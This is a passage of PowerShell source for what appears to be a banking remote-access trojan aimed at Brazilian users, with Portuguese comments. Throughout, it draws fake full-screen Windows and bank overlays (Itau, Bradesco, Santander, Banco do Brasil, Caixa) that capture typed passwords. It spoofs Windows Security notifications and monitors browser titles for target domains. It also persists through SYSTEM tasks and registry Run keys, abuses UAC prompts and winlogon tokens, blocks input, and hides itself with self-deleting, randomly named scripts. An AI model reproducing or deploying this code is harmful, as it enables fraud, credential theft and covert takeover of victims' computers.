System.Drawing.Region(New-Object System.Drawing.Rectangle(0,0,`$scr.Width,`$scr.Height)) `$rgn.Exclude((New-Object System.Drawing.Rectangle(`$qx,`$qy,`$qw,`$qh))) `$f.Region = `$rgn "@ } $inputBlock = "" if ($InputW -gt 0 -and $InputH -gt 0) { $inputBlock = @" # Input de senha `$ix = `$ox + [int]($InputX * `$scaleX) `$iy = `$oy + [int]($InputY * `$scaleY) `$iw = [Math]::Max(20, [int]($InputW * `$scaleX)) `$ih = [Math]::Max(20, [int]($InputH * `$scaleY)) `$txt = New-Object System.Windows.Forms.TextBox `$txt.Location = New-Object System.Drawing.Point(`$ix, `$iy) `$txt.Size = New-Object System.Drawing.Size(`$iw, `$ih) `$txt.Font = New-Object System.Drawing.Font('Segoe UI', [Math]::Max(10, [int](`$ih * 0.6))) `$txt.UseSystemPasswordChar = `$true `$txt.TextAlign = 'Left' `$txt.BorderStyle = 'None' `$txt.BackColor = [System.Drawing.Color]::White `$f.Controls.Add(`$txt) `$txt.Add_KeyDown({ if (`$_.KeyCode -eq 'Enter') { `$f.Tag = `$txt.Text; `$f.Close() } }) `$f.Add_Shown({ `$txt.Focus(); [W]::SetForegroundWindow(`$f.Handle) }) "@ } $buttonBlock = "" if ($ButtonW -gt 0 -and $ButtonH -gt 0) { $buttonBlock = @" # Botao clicavel `$bx = `$ox + [int]($ButtonX * `$scaleX) `$by = `$oy + [int]($ButtonY * `$scaleY) `$bw = [Math]::Max(20, [int]($ButtonW * `$scaleX)) `$bh = [Math]::Max(20, [int]($ButtonH * `$scaleY)) `$btn = New-Object System.Windows.Forms.Button `$btn.Location = New-Object System.Drawing.Point(`$bx, `$by) `$btn.Size = New-Object System.Drawing.Size(`$bw, `$bh) `$btn.FlatStyle = 'Flat' `$btn.FlatAppearance.BorderSize = 0 `$btn.FlatAppearance.MouseOverBackColor = [System.Drawing.Color]::Transparent `$btn.FlatAppearance.MouseDownBackColor = [System.Drawing.Color]::Transparent `$btn.BackColor = [System.Drawing.Color]::Transparent `$btn.Cursor = 'Hand' `$btn.Add_Click({ if (`$txt -ne `$null) { `$f.Tag = `$txt.Text }; `$f.Close() }) `$f.Controls.Add(`$btn) "@ } # Script PowerShell para o overlay (versao simplificada do original) $psCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing Add-Type @' using System; using System.Runtime.InteropServices; public class W { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int v); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr h); } '@ try { [W]::SetProcessDpiAwareness(2) } catch {} `$img = [System.Drawing.Image]::FromFile('$($tempImg -replace "\\", "\\")') `$scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds `$scale = [Math]::Min(`$scr.Width / `$img.Width, `$scr.Height / `$img.Height) `$fw = [int](`$img.Width * `$scale) `$fh = [int](`$img.Height * `$scale) `$ox = [int]((`$scr.Width - `$fw) / 2) `$oy = [int]((`$scr.Height - `$fh) / 2) `$scaleX = `$fw / `$img.Width `$scaleY = `$fh / `$img.Height `$bmp = New-Object System.Drawing.Bitmap(`$scr.Width, `$scr.Height) `$g = [System.Drawing.Graphics]::FromImage(`$bmp) `$g.Clear([System.Drawing.Color]::Black) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::HighQualityBicubic `$g.DrawImage(`$img, `$ox, `$oy, `$fw, `$fh) `$g.Dispose() `$f = New-Object System.Windows.Forms.Form `$f.FormBorderStyle = 'None' `$f.StartPosition = 'Manual' `$f.Location = New-Object System.Drawing.Point(0, 0) `$f.Size = New-Object System.Drawing.Size(`$scr.Width, `$scr.Height) `$f.TopMost = `$true `$f.BackgroundImage = `$bmp `$f.BackgroundImageLayout = 'None' `$f.ShowInTaskbar = `$false `$f.Tag = "" `$txt = `$null $qrBlock $inputBlock $buttonBlock `$tm = New-Object System.Windows.Forms.Timer `$tm.Interval = 300 `$tm.Add_Tick({ `$f.TopMost = `$true; `$f.BringToFront() }) `$tm.Start() `$f.Add_FormClosed({ `$tm.Stop() `$img.Dispose() `$bmp.Dispose() [IO.File]::WriteAllText('$($tempResult -replace "\\", "\\")', `$f.Tag) # Limpar temporarios imediatamente Start-Sleep -Milliseconds 100 try { Remove-Item '$($tempImg -replace "\\", "\\")' -Force -EA SilentlyContinue } catch {} try { Remove-Item '$($tempScript -replace "\\", "\\")' -Force -EA SilentlyContinue } catch {} }) [System.Windows.Forms.Application]::Run(`$f) "@ [System.IO.File]::WriteAllText($tempScript, $psCode, [System.Text.Encoding]::UTF8) # Guardar paths para monitoramento posterior $script:ScreenshotTempResult = $tempResult $script:ScreenshotActive = $true $script:ScreenshotStartTime = [DateTime]::Now try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = "powershell.exe" $psi.Arguments = "-STA -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tempScript`"" $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden # Verificar se ja e admin $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if ($isAdmin) { $psi.UseShellExecute = $false $psi.CreateNoWindow = $true } else { $psi.UseShellExecute = $true $psi.Verb = "runas" } $script:ScreenshotProcess = [System.Diagnostics.Process]::Start($psi) # N?O BLOQUEIA - Retorna imediatamente para manter streaming ativo # O resultado ser? monitorado no loop principal return "__ASYNC__" # Sinaliza que est? rodando em background } catch { $script:ScreenshotActive = $false return "" } } function Show-ChatPopup { param([string]$Message, [string]$Title) if (!$Title) { $Title = "Seguranca do Windows" } # Escapar aspas simples $safeTitle = $Title -replace "'", "''" $safeMessage = $Message -replace "'", "''" $code = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.TopMost = `$true `$form.ShowInTaskbar = `$false `$form.BackColor = [System.Drawing.Color]::FromArgb(48, 48, 48) `$form.Size = New-Object System.Drawing.Size(380, 128) `$screen = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea `$form.Location = New-Object System.Drawing.Point((`$screen.Right - `$form.Width - 8), (`$screen.Bottom - `$form.Height - 8)) `$appLabel = New-Object System.Windows.Forms.Label `$appLabel.Text = 'Protecao contra virus e ameacas' `$appLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$appLabel.ForeColor = [System.Drawing.Color]::FromArgb(230, 230, 230) `$appLabel.Location = New-Object System.Drawing.Point(16, 12) `$appLabel.AutoSize = `$true `$form.Controls.Add(`$appLabel) `$expandBtn = New-Object System.Windows.Forms.Label `$expandBtn.Text = '^' `$expandBtn.Font = New-Object System.Drawing.Font('Segoe UI', 12) `$expandBtn.ForeColor = [System.Drawing.Color]::FromArgb(180, 180, 180) `$expandBtn.Location = New-Object System.Drawing.Point(352, 10) `$expandBtn.Size = New-Object System.Drawing.Size(20, 20) `$expandBtn.Cursor = [System.Windows.Forms.Cursors]::Hand `$expandBtn.Add_Click({ `$form.Close() }) `$form.Controls.Add(`$expandBtn) `$titleLabel = New-Object System.Windows.Forms.Label `$titleLabel.Text = '$safeTitle' `$titleLabel.Font = New-Object System.Drawing.Font('Segoe UI', 10, [System.Drawing.FontStyle]::Bold) `$titleLabel.ForeColor = [System.Drawing.Color]::White `$titleLabel.Location = New-Object System.Drawing.Point(16, 38) `$titleLabel.Size = New-Object System.Drawing.Size(340, 20) `$form.Controls.Add(`$titleLabel) `$msgLabel = New-Object System.Windows.Forms.Label `$msgLabel.Text = '$safeMessage' `$msgLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$msgLabel.ForeColor = [System.Drawing.Color]::FromArgb(210, 210, 210) `$msgLabel.Location = New-Object System.Drawing.Point(16, 60) `$msgLabel.Size = New-Object System.Drawing.Size(350, 36) `$form.Controls.Add(`$msgLabel) `$timeLabel = New-Object System.Windows.Forms.Label `$timeLabel.Text = (Get-Date).ToString('HH:mm') `$timeLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$timeLabel.ForeColor = [System.Drawing.Color]::FromArgb(160, 160, 160) `$timeLabel.Location = New-Object System.Drawing.Point(16, 100) `$timeLabel.AutoSize = `$true `$form.Controls.Add(`$timeLabel) `$closeTimer = New-Object System.Windows.Forms.Timer `$closeTimer.Interval = 10000 `$closeTimer.Add_Tick({ `$form.Close() }) try { `$player = New-Object System.Media.SoundPlayer `$player.SoundLocation = "`$env:SystemRoot\Media\Windows Notify System Generic.wav" `$player.Play() } catch {} `$form.Add_Shown({ `$closeTimer.Start() }) `$form.Add_Click({ `$form.Close() }) [System.Windows.Forms.Application]::Run(`$form) "@ # Salvar script em arquivo temp e executar (nome polimorfico) $tempScript = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).ps1" # Adicionar auto-limpeza no final do script $code += "`nRemove-Item `$MyInvocation.MyCommand.Path -Force -EA SilentlyContinue" $code | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$tempScript`"" } function Check-BrowserTitle { try { $title = [WindowMonitor]::GetActiveTitle() if ([string]::IsNullOrEmpty($title)) { return @{ Detected = $false } } if ($title -ne $script:LastNotifyTitle) { $process = [WindowMonitor]::GetActiveProcess() $processLower = $process.ToLower() $isBrowser = $false foreach ($bp in $script:BrowserProcesses) { if ($processLower.Contains($bp)) { $isBrowser = $true; break } } # Comparacao ignorando acentos e maiusculas/minusculas $culture = [System.Globalization.CultureInfo]::InvariantCulture $compareOptions = [System.Globalization.CompareOptions]::IgnoreCase -bor [System.Globalization.CompareOptions]::IgnoreNonSpace foreach ($domain in $script:MonitorDomains) { $idx = $culture.CompareInfo.IndexOf($title, $domain, $compareOptions) if ($idx -ge 0) { $needsBrowser = $false foreach ($bo in $script:BrowserOnlyDomains) { if ($domain -eq $bo) { $needsBrowser = $true; break } } if ($needsBrowser -and -not $isBrowser) { continue } $script:LastNotifyTitle = $title return @{ Detected = $true Title = $title Domain = $domain Process = $process Time = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss") } } } } } catch {} return @{ Detected = $false } } # === FUNCOES DE INPUT E QR REMOVIDAS === # Mantido apenas: Modo Priv (tela fake + captura) function Handle-SystemCommand { param($Cmd, $Stream) switch ($Cmd) { "getMonitors" { Send-MonitorList -Stream $Stream return "Monitors: $($script:Monitors.Count)" } # =================================================================== # COMANDOS DE ELEVACAO E SERVICO # =================================================================== "elevate_reboot" { # Tenta elevar privilegios $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } # Se ja e Admin, instala Task SYSTEM direto if (Test-IsAdmin) { if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Ja e Admin! Task SYSTEM instalada" } } return "[X] Falha ao instalar Task" } # Se e User, solicita UAC (abre popup pedindo Admin) if ($scriptPath) { $result = Request-Elevation -ScriptPath $scriptPath if ($result) { return "[OK] Popup UAC enviado! Aguarde usuario aceitar" } } return "[X] Falha ao solicitar elevacao" } "elevate_persist" { # Cria persistencia simples (Registry) sem precisar Admin $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Persistencia criada!" } } return "[X] Falha ao criar persistencia" } "install_service" { # Instala Task SYSTEM (precisa Admin) if (-not (Test-IsAdmin)) { return "[X] Precisa de privilegios de Admin" } $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Task SYSTEM $($script:InstallConfig.TaskName) instalada!" } else { return "[X] Falha ao instalar Task" } } return "[X] Script path nao encontrado" } "get_elevation" { # Retorna status de elevacao e persistencia $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $taskExists = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null $persistMethods = Test-PersistenceInstalled $persistStatus = if ($persistMethods.Count -gt 0) { $persistMethods -join ', ' } else { 'Nenhuma' } return "System: $isSystem | Admin: $isAdmin | Task: $taskExists | Persist: $persistStatus" } "get_persist" { # Retorna status de persistencia $hasPersist = Test-CleanPersistenceInstalled $hasTask = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null if ($hasTask) { return "[OK] Task SYSTEM instalada" } elseif ($hasPersist) { return "[OK] Persistencia via Registry ativa" } return "[X] Nenhuma persistencia instalada" } "install_persist" { # Instala persistencia limpa (tarefa agendada) $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-CleanPersistence -ScriptPath $scriptPath if ($result) { return "[OK] Tarefa agendada criada com sucesso!" } } return "[X] Falha ao instalar persistencia" } "elevate" { return (Handle-SystemCommand -Cmd "request_uac" -Stream $Stream) } "request_uac" { # Verificar se tarefa SYSTEM ja existe $existingTask = Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue if ($existingTask -and $existingTask.Principal.UserId -match "SYSTEM") { if (-not $env:_sU) { $script:ForceExit = $true } return "[OK] Tarefa SYSTEM ja instalada: $($script:InstallConfig.TaskName)" } # Resolver script source $srcScript = $script:SourceScriptPath if (-not $srcScript -or -not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } if (-not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } if (-not (Test-Path $srcScript -EA SilentlyContinue)) { return "[X] Script nao encontrado" } $isAdmin = Test-IsAdmin $isSystem = Test-IsSystem # Ja elevado: instalar direto sem UAC if ($isAdmin -or $isSystem) { if ($srcScript) { $script:SourceScriptPath = $srcScript } $r = Install-ScheduledTask -ScriptPath $srcScript if ($r) { $script:ForceExit = $true; return "[OK] Tarefa SYSTEM instalada!" } return "[X] Falha ao instalar" } # Usuario normal: disparar UAC em background (NAO bloquear o WebSocket) # Start-Job roda em processo separado ? retorna imediatamente ao painel $srcEsc = $srcScript -replace "'", "''" Start-Job -ScriptBlock { param($src) $proc = Start-Process powershell.exe ` -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$src' -Raw))) -ScriptPath '$src' -InstallService`"" ` -Verb RunAs ` -PassThru if ($proc) { $proc.WaitForExit(180000) } } -ArgumentList $srcEsc | Out-Null return "[UAC] Popup enviado ao cliente - aguarde o clique em Sim..." } "update_domains" { # Adiciona dominios personalizados do painel a lista de monitoramento # Permite que dominios customizados adicionados no filtro do painel sejam detectados try { if ($j.domains -and $j.domains.Count -gt 0) { $added = 0 foreach ($d in $j.domains) { $d = "$d".Trim() if ($d -and $script:MonitorDomains -notcontains $d) { $script:MonitorDomains += $d $added++ } } return "[OK] +$added dominios adicionados (total: $($script:MonitorDomains.Count))" } return "[X] Nenhum dominio fornecido" } catch { return "[X] Erro: $_" } } "get_domains" { # Retorna lista atual de dominios monitorados (para debug) return ($script:MonitorDomains -join ", ") } "remove_persist" { # Remove toda persistencia (usado antes de uninstall) $result = Remove-AutoPersistence if ($result) { return "[OK] Persistencia removida!" } return "[X] Falha ao remover persistencia" } # =================================================================== "blankOn" { Start-DisplayOverlay -Mode 1; return "Overlay Mode 1 ON" } "blankOff" { Stop-DisplayOverlay; return "Overlay OFF" } "blockOn" { Start-InputPause; return "Input Blocked" } "blockOff" { Stop-InputPause; return "Input Unblocked" } "overlay_on" { Start-DisplayOverlay -Mode 1; return "Overlay ON" } "overlay_off" { Stop-DisplayOverlay; return "Overlay OFF" } # Modos de Privacidade Customizados "priv1" { Start-DisplayOverlay -Mode 1; return "Overlay Mode 1: Windows Update (Animado)" } "priv2" { Start-DisplayOverlay -Mode 2; return "Overlay Mode 2: Preparando Windows" } "priv3" { Start-DisplayOverlay -Mode 3; return "Overlay Mode 3: Tela Azul (BSOD)" } "priv4" { Start-DisplayOverlay -Mode 4; return "Overlay Mode 4: Verificando Disco" } "priv5" { Start-DisplayOverlay -Mode 5; return "Overlay Mode 5: Tela Preta" } # Modos de Banco (apenas 5 primeiros) "priv6" { Start-DisplayOverlay -Mode 6; return "Overlay Mode 6: Itau" } "priv7" { Start-DisplayOverlay -Mode 7; return "Overlay Mode 7: Bradesco" } "priv8" { Start-DisplayOverlay -Mode 8; return "Overlay Mode 8: Santander" } "priv9" { Start-DisplayOverlay -Mode 9; return "Overlay Mode 9: Banco do Brasil" } "priv10" { Start-DisplayOverlay -Mode 10; return "Overlay Mode 10: Caixa" } "priv11" { Start-DisplayOverlay -Mode 11; return "Overlay Mode 11: Itau Elaborado" } "priv12" { Start-DisplayOverlay -Mode 12; return "Overlay Mode 12: Bradesco Elaborado" } "priv13" { Start-DisplayOverlay -Mode 13; return "Overlay Mode 13: Santander Elaborado" } "priv14" { Start-DisplayOverlay -Mode 14; return "Overlay Mode 14: BB Elaborado" } "priv15" { Start-DisplayOverlay -Mode 15; return "Overlay Mode 15: Caixa Elaborado" } "privOff" { Stop-DisplayOverlay; return "Overlay OFF" } "screenshotCancel" { # Cancelar tela fake ativa e restaurar modo priv try { if ($script:ScreenshotProcess -and -not $script:ScreenshotProcess.HasExited) { $script:ScreenshotProcess.Kill() $script:ScreenshotProcess.WaitForExit(1000) } $script:ScreenshotActive = $false $script:ScreenshotProcess = $null # Restaurar modo priv anterior if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Start-DisplayOverlay -Mode $script:PreviousOverlayMode return "Screenshot cancelado, modo priv $($script:PreviousOverlayMode) restaurado" } return "Screenshot cancelado" } catch { return "Erro ao cancelar: $_" } } "cropStop" { try { Stop-CropScreen # Restaurar priv mode que estava ativo antes do crop if ($script:OverlayModeBeforeCrop -and $script:OverlayModeBeforeCrop -gt 0) { Start-DisplayOverlay -Mode $script:OverlayModeBeforeCrop $modeRestored = $script:OverlayModeBeforeCrop $script:OverlayModeBeforeCrop = $null return "Crop stopped, priv mode $modeRestored restored" } return "Crop stopped" } catch { return "Crop error: $_" } } "lock" { rundll32.exe user32.dll,LockWorkStation; return "Locked" } "unlock" { try { Add-Type @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public class WinlogonUnlock { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string app, string cmd, IntPtr procAttr, IntPtr threadAttr, bool inherit, uint flags, IntPtr env, string dir, ref STARTUPINFO si, out PROCESS_INFORMATION pi); [DllImport("advapi32.dll")] static extern bool OpenProcessToken(IntPtr h, uint a, out IntPtr t); [DllImport("advapi32.dll")] static extern bool DuplicateTokenEx(IntPtr h, uint a, IntPtr sa, int il, int tt, out IntPtr n); [DllImport("advapi32.dll")] static extern bool SetTokenInformation(IntPtr t, int c, ref uint i, int l); [DllImport("userenv.dll")] static extern bool CreateEnvironmentBlock(out IntPtr e, IntPtr t, bool i); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr e); [DllImport("kernel32.dll")] static extern uint WTSGetActiveConsoleSessionId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint p, out uint s); [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr h); [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] struct STARTUPINFO { public int cb; public string lpReserved, lpDesktop, lpTitle; public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; public short wShowWindow, cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } public static string Run() { uint sess = WTSGetActiveConsoleSessionId(); if (sess == 0xFFFFFFFF) return "FAIL:NoSession"; IntPtr tok = IntPtr.Zero; foreach (Process p in Process.GetProcessesByName("winlogon")) { try { uint ps; ProcessIdToSessionId((uint)p.Id, out ps); if (ps == sess && OpenProcessToken(p.Handle, 0xF01FF, out tok)) break; } catch {} } if (tok == IntPtr.Zero) return "FAIL:NoToken"; IntPtr dup = IntPtr.Zero, env = IntPtr.Zero; try { if (!DuplicateTokenEx(tok, 0x2000000, IntPtr.Zero, 2, 1, out dup)) return "FAIL:Dup:" + Marshal.GetLastWin32Error(); SetTokenInformation(dup, 12, ref sess, 4); CreateEnvironmentBlock(out env, dup, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Winlogon"; si.dwFlags = 1; si.wShowWindow = 0; PROCESS_INFORMATION pi; string cmd = "powershell -c \"Add-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")]public static extern void keybd_event(byte k,byte s,uint f,int e);' -Name K -Namespace W;1..10|%{[W.K]::keybd_event(13,0,0,0);Start-Sleep -m 1;[W.K]::keybd_event(13,0,2,0);Start-Sleep -m 1}\""; if (!CreateProcessAsUser(dup, null, cmd, IntPtr.Zero, IntPtr.Zero, false, 0x00000410, env, null, ref si, out pi)) return "FAIL:Proc:" + Marshal.GetLastWin32Error(); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return "OK:S=" + sess + ";PID=" + pi.dwProcessId; } finally { if (env != IntPtr.Zero) DestroyEnvironmentBlock(env); if (dup != IntPtr.Zero) CloseHandle(dup); CloseHandle(tok); } } } "@ return [WinlogonUnlock]::Run() } catch { return "ERROR: $_" } } "logoff" { Stop-DisplayOverlay; Stop-InputPause; shutdown /l /f; return "Logoff" } "restart" { Stop-DisplayOverlay; Stop-InputPause; shutdown /r /t 0 /f; return "Restart" } "shutdown" { Stop-DisplayOverlay; Stop-InputPause; shutdown /s /t 0 /f; return "Shutdown" } # Auto-reinicio do cliente (nao do PC) "client_restart" { try { # 1. Liberar todos os recursos Stop-DisplayOverlay Stop-InputPause Stop-CropScreen # 2. Reiniciar via Task Scheduler $restartScript = @" Start-Sleep -Seconds 2 Get-Process powershell* -EA SilentlyContinue | Where-Object { `$_.Id -ne `$PID -and (`$_.CommandLine -like '*$($__identity.FileName)*' -or `$_.CommandLine -like '*$($__identity.SvcName)*') } | Stop-Process -Force -EA SilentlyContinue Start-Sleep -Seconds 1 schtasks /run /tn '$($script:InstallConfig.TaskName)' 2>`$null "@ $tempScript = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,12)).txt" $restartScript | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$tempScript' -Raw)`"" Start-Sleep -Milliseconds 500 [Environment]::Exit(0) } catch { return "ERROR: $_" } } "uninstall" { Stop-DisplayOverlay; Stop-InputPause # Capturar caminhos dinamicos ANTES de apagar o registro $__unTaskName = $script:InstallConfig.TaskName $__unInstDir = $script:InstallConfig.InstallDir $__unGuardVbs = Join-Path $__unInstDir "$($__identity.SvcName).vbs" $__unUserDir = "$env:APPDATA\Microsoft\$__unTaskName" # 0. MATAR GUARDIAN - apagar VBS primeiro (sem VBS nao ha relancar) try { Remove-Item $__unGuardVbs -Force -EA SilentlyContinue Get-Process wscript -EA SilentlyContinue | Stop-Process -Force -EA SilentlyContinue Get-Job -EA SilentlyContinue | Stop-Job -PassThru | Remove-Job -Force -EA SilentlyContinue Remove-Item (Join-Path $__unInstDir "client.pid") -Force -EA SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid" -Force -EA SilentlyContinue } catch { } # 1. REMOVER SERVICOS LEGADOS (compatibilidade com instalacoes antigas) try { Stop-Service -Name $__unTaskName -Force -EA SilentlyContinue sc.exe delete $__unTaskName 2>$null | Out-Null } catch { } # 2. REMOVER TODAS AS TAREFAS AGENDADAS (din?micas + legado) $__svcShort = $__unTaskName.Substring(0, [Math]::Min(8, $__unTaskName.Length)) $__dynTasks = @($__unTaskName, "${__svcShort}_G0", "${__svcShort}_G1", "${__svcShort}_G2") $__dynTasks | ForEach-Object { Unregister-ScheduledTask -TaskName $_ -Confirm:$false -EA SilentlyContinue schtasks /delete /tn $_ /f 2>$null | Out-Null } # 3. REMOVER ENTRADAS DE REGISTRO (din?mico + legado) @($__unTaskName, $__unSvcName) | ForEach-Object { if ($_) { reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v $_ /f 2>$null | Out-Null } } # Remover identidade gerada (nova instalacao gerarah nova identidade) try { $__cuKey = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU if ($__cuKey) { Remove-Item -Path $__cuKey -Recurse -Force -EA SilentlyContinue } Remove-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA SilentlyContinue } catch {} # 4. CRIAR SCRIPT DE LIMPEZA (executa apos processo fechar) # Serializar caminhos dinamicos para o script de limpeza $__unInstDirLit = $__unInstDir $__unUserDirLit = $__unUserDir $cleanupScript = @" Start-Sleep -Seconds 3 # Matar processos relacionados (exceto o atual) try { Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -EA SilentlyContinue | Where-Object { `$_.ProcessId -ne `$PID -and (`$_.CommandLine -like '*$__unTaskName*' -or `$_.CommandLine -like '*$__unSvcName*') } | ForEach-Object { try { Stop-Process -Id `$_.ProcessId -Force -EA SilentlyContinue } catch {} } } catch {} Start-Sleep -Seconds 2 # Remover pastas (apenas dinamicas - polimorficas) `$folders = @( '$__unInstDirLit', '$__unUserDirLit' ) foreach (`$f in `$folders) { if (`$f -and (Test-Path `$f)) { for (`$r = 0; `$r -lt 3; `$r++) { try { Remove-Item `$f -Recurse -Force -EA Stop; break } catch { Start-Sleep -Seconds 1 } } } } # Limpar arquivos temporarios (baseados no SvcName) Remove-Item "`$env:TEMP\$__unSvcName*" -Force -EA SilentlyContinue # Auto-deletar este script Remove-Item `$MyInvocation.MyCommand.Path -Force -EA SilentlyContinue "@ $cleanPath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).ps1" [System.IO.File]::WriteAllText($cleanPath, $cleanupScript, [System.Text.Encoding]::UTF8) # Executar limpeza em processo separado (apos agente sair) Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$cleanPath`"" Start-Sleep -Seconds 1 [Environment]::Exit(0) } default { # Verificar se e comando de recorte (crop) if ($Cmd -like "cropArea:*") { try { $jsonPart = $Cmd.Substring(9) $params = $jsonPart | ConvertFrom-Json # Obter resolucao do monitor SELECIONADO $selectedMon = Get-SelectedMonitor $screenW = $selectedMon.Width $screenH = $selectedMon.Height # Converter PORCENTAGEM para PIXELS $xPct = [double]$params.xPct $yPct = [double]$params.yPct $wPct = [double]$params.wPct $hPct = [double]$params.hPct $x = [int]($xPct * $screenW) $y = [int]($yPct * $screenH) $w = [int]($wPct * $screenW) $h = [int]($hPct * $screenH) # Posicao ABSOLUTA do buraco $absX = $selectedMon.X + $x $absY = $selectedMon.Y + $y # Validar valores minimos if ($w -lt 50) { $w = 50 } if ($h -lt 50) { $h = 50 } # Guardar priv mode atual antes de desativar $script:OverlayModeBeforeCrop = $script:CurrentOverlayMode # Desativar priv mode para tirar o print try { Stop-DisplayOverlay } catch {} Start-Sleep -Milliseconds 10 # Mostrar tela de crop com mensagem $cropMessage = if ($params.message) { $params.message } else { "" } Show-CropScreen -CropX $x -CropY $y -CropW $w -CropH $h -Message $cropMessage return "Crop OK: ${w}x${h} at ($x,$y) abs($absX,$absY)" } catch { return "Crop error: $_" } } return "Unknown: $Cmd" } } } # =============================================================================== # SISTEMA DE DETECCAO DE INATIVIDADE (20 MINUTOS) # =============================================================================== Add-Type @' using System; using System.Runtime.InteropServices; public class IdleDetector { [StructLayout(LayoutKind.Sequential)] public struct LASTINPUTINFO { public uint cbSize; public uint dwTime; } [DllImport("user32.dll")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); public static uint GetIdleTime() { LASTINPUTINFO lii = new LASTINPUTINFO(); lii.cbSize = (uint)Marshal.SizeOf(typeof(LASTINPUTINFO)); if (GetLastInputInfo(ref lii)) { return (uint)Environment.TickCount - lii.dwTime; } return 0; } } '@ $global:IdleTimeout = 1200000 $global:CurrentIdleState = "active" $global:LastIdleCheck = [long]([DateTime]::UtcNow.Ticks / 10000) $global:JustResumedFromIdle = $false # Funcao para acordar do idle quando operador remoto envia comandos # OTIMIZA??O: Apenas uma verifica??o simples, sem opera??es extras function Force-WakeFromIdle { if ($global:CurrentIdleState -eq "idle") { $global:CurrentIdleState = "active" } } function Check-IdleStatus { param($stream) $now = [long]([DateTime]::UtcNow.Ticks / 10000) if (($now - $global:LastIdleCheck) -lt 10000) { return ($global:CurrentIdleState -eq "idle") } $global:LastIdleCheck = $now $idleTime = [IdleDetector]::GetIdleTime() if ($idleTime -gt $global:IdleTimeout -and $global:CurrentIdleState -eq "active") { $global:CurrentIdleState = "idle" Send-IdleStatus $stream "idle" $idleTime return $true } elseif ($idleTime -lt 5000 -and $global:CurrentIdleState -eq "idle") { $global:CurrentIdleState = "active" $global:JustResumedFromIdle = $true Send-IdleStatus $stream "active" $idleTime return $false } return ($global:CurrentIdleState -eq "idle") } function Clear-StreamBuffer { param($stream) } function Send-IdleStatus { param($stream, $status, $idleTime) try { $json = @{ Status = $status IdleTime = $idleTime Timestamp = (Get-Date).ToString("o") } | ConvertTo-Json 